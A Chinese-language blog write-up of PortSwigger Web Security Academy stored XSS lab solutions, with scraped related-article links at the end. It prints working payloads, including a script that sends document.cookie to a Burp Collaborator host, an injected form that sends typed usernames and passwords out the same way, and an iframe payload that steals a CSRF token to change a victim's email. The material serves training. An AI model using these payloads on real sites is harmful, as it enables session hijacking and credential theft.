Portswigger web security academy:Stored XSS
Portswigger web security academy:Stored XSS
- Portswigger web security academy:Stored XSS
- Stored XSS into HTML context with nothing encoded
- Stored XSS into anchor href attribute with double quotes HTML-encoded
- Stored DOM XSS
- Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
- Exploiting cross-site scripting to steal cookies
- Exploiting cross-site scripting to capture passwords
- Exploiting XSS to perform CSRF
Stored XSS into HTML context with nothing encoded
题目要求
提交评论,调用
alert函数解题过程
直接祖传payload就行
Stored XSS into anchor href attribute with double quotes HTML-encoded
题目描述
评论功能点有存储型xss
要求当author name被点击的时候调用
alert函数解题过程
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="https://test.test">name</a> | 24 May 2020
</p>
随便输个链接测试一下,发现输入的
website被直接嵌入到了href里构造payload:
javascript:alert()
Stored DOM XSS
题目描述
评论功能点有存储型dom-xss,调用
alert函数即可解题过程
关键代码
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
注意这里的
escapeHTML函数的定义,使用了replace函数,js的replace函数有个特性,只会替换最开始出现的一个字符,所以构造payload:
<><img src=x onerror=alert()>
Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
题目描述
评论功能点有存储型xss
要求当author name被点击的时候调用
alert函数解题过程
这是上上道题的升级版,
<>和"会被HTML编码,'和\会被addslash关键代码
<a id="author" href="https://aaaaa\'"`\\" onclick="var tracker={track(){}};tracker.track('https://aaaaa\'"`\\');">asd</a>
可以看到website直接被嵌入到了
href和onclick,因为后端检测了url格式,所以href无法进行xss看
onclick,考虑如何闭合引号,注意到这里是html+js环境,所以可以使用HTML实体编码/unicode编码,但是\会被addslash,所以只能用HTML实体编码构造payload:
http://xss'-alert()-'这里涉及到一个js的知识点,
eval('xss'-alert()会弹窗,即js语境中,字符串与语句进行运算,会执行语句
Exploiting cross-site scripting to steal cookies
题目描述
博客评论点有存储型xss
要求盗取
cookie并模拟被盗者身份解题步骤
这道题要用到
Burp Collaborator,这是一个burp自带的测试工具,贴一篇介绍简单来说就是一个用来接收并返回数据的接口,类似于自己搭的vps接收cookie
构造payload:
<script>
fetch('https://xxxxxx.burpcollaborator.net',{
method:'post',
body:document.cookie
});
</script>
放到评论区,然后在
Burp Collaborator Clientpoll一下拿到cookie,再替换掉自己的cookie就可以
Exploiting cross-site scripting to capture passwords
题目描述
在博客评论点有存储型xss
要求盗取
username和password并登录解题过程
这道题参考了官方的solution,没有过盗取
username和password的思路<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://4glwxnk77bznm13y44j75a137udl1a.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
payload利用了
username和password接口,在用户访问页面时自动填写,这里有点脑洞题的感觉,因为这里的赋值是需要后台进行渲染,或者通过get传值的。但payload思路可以借鉴
Exploiting XSS to perform CSRF
题目描述
在评论点有存储型xss
要求修改查看评论的用户的邮件地址
解题过程
先登录给的账号,修改email,用burp看下数据包
关键部分
POST /email/change-email HTTP/1.1
Host: accf1faa1fa54c128098504e00910043.web-security-academy.net
Connection: close
Content-Length: 58
Origin: https://accf1faa1fa54c128098504e00910043.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=hVm5TBng8eVK17OV1ulcF6IP5xbwzcu4 email=aaaa%40bbb.ccc&csrf=aIMl9DOIMdHZQ4qsl05r4dERRyrRzFm6
这里需要一个csrf token,所以要用到iframe
构造payload:(可行)
<iframe src='https://accf1faa1fa54c128098504e00910043.web-security-academy.net/email' name='xxx' onload="
var csrf = window.frames['xxx'].document.getElementsByName('csrf')[0].value;
fetch('https://accf1faa1fa54c128098504e00910043.web-security-academy.net/email/change-email',{
method:'post',
body:'email=aaa@bbb.ccc&csrf='+csrf
});">
</iframe>
Portswigger web security academy:Stored XSS的更多相关文章
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:DOM Based XSS
Portswigger web security academy:DOM Based XSS 目录 Portswigger web security academy:DOM Based XSS DOM ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
随机推荐
- STM32F103VET6-keil工程配置-USART串口中断
1.新建一个标准空白工程 2.设置时钟源为外部HSE时钟 1 #ifndef __SYSCLK_CONFIG_H 2 #define __SYSCLK_CONFIG_H 3 #include &quo ...
- hibernate 中持久化标识 OID
OID 全称是 Object Identifier,又叫做对象标识符 是 hibernate 用于区分两个对象是否是同一个对象的标识的方法 标识符的作用:可以让 hibernate 来区分多个对象是否 ...
- Python装饰器(3)
这篇文章中记录说明下多个装饰器一同装饰同一个函数时的执行顺序问题. [装饰器链] 按照惯例,先看代码示例: import time def debug1(str): #传参接受类的方法 def fun ...
- MySQL深入研究--学习总结(5)
前言 接上文,继续学习后续章节.细心的同学已经发现,我整理的并不一定是作者讲的内容,更多是结合自己的理解,加以阐述,所以建议结合原文一起理解. 第20章<幻读是什么,幻读有什么问题?> 先 ...
- ResNet的个人总结
ResNet可以说是我认真读过的第一篇paper,据师兄说读起来比较简单,没有复杂的数学公式,不过作为经典的网络结构还是有很多细节值得深究的.因为平时不太读英文文献,所以其实读的时候也有很多地方不是很 ...
- 亲自动手实现Python+pygame中国象棋游戏
功能1:实现游戏整体界面显示 一.创建基本的结构 代码如下: import time import pygame def main(): # 初始化pygame pygame.init() # 创建用 ...
- rancher的ssl部署
前言 因为我司有多套k8s环境,管理起来过于麻烦,需要一个统一的管理平台,又因为没有预留时间自己开发,经过选择后,使用rancher来进行多k8s环境的统一管理平台. 部署 1.在阿里云上申请免费的证 ...
- QT实现OPC_UA客户端程序以及与OPC_UA服务器通信
1.OPC_UA服务器准备工作 1.关于OPC_UA服务器的搭建可以参考前面一篇文章:https://blog.csdn.net/xipengbozai/article/details/1150809 ...
- 翻译:《实用的Python编程》07_04_Function_decorators
目录 | 上一节 (7.3 返回函数) | 下一节 (7.5 装饰方法) 7.4 函数装饰器 本节介绍装饰器(decorator).因为这是一个高级主题,所以我们只做简单介绍. 译注:根据译者个人的猜 ...
- C/C++中的const
1 C中的const C中const修饰的变量是只读变量,在使用const关键字声明定义变量时会给该变量分配内存空间. const修饰的全局变量默认是外部链接的,即其它源文件可以直接使用该变量. co ...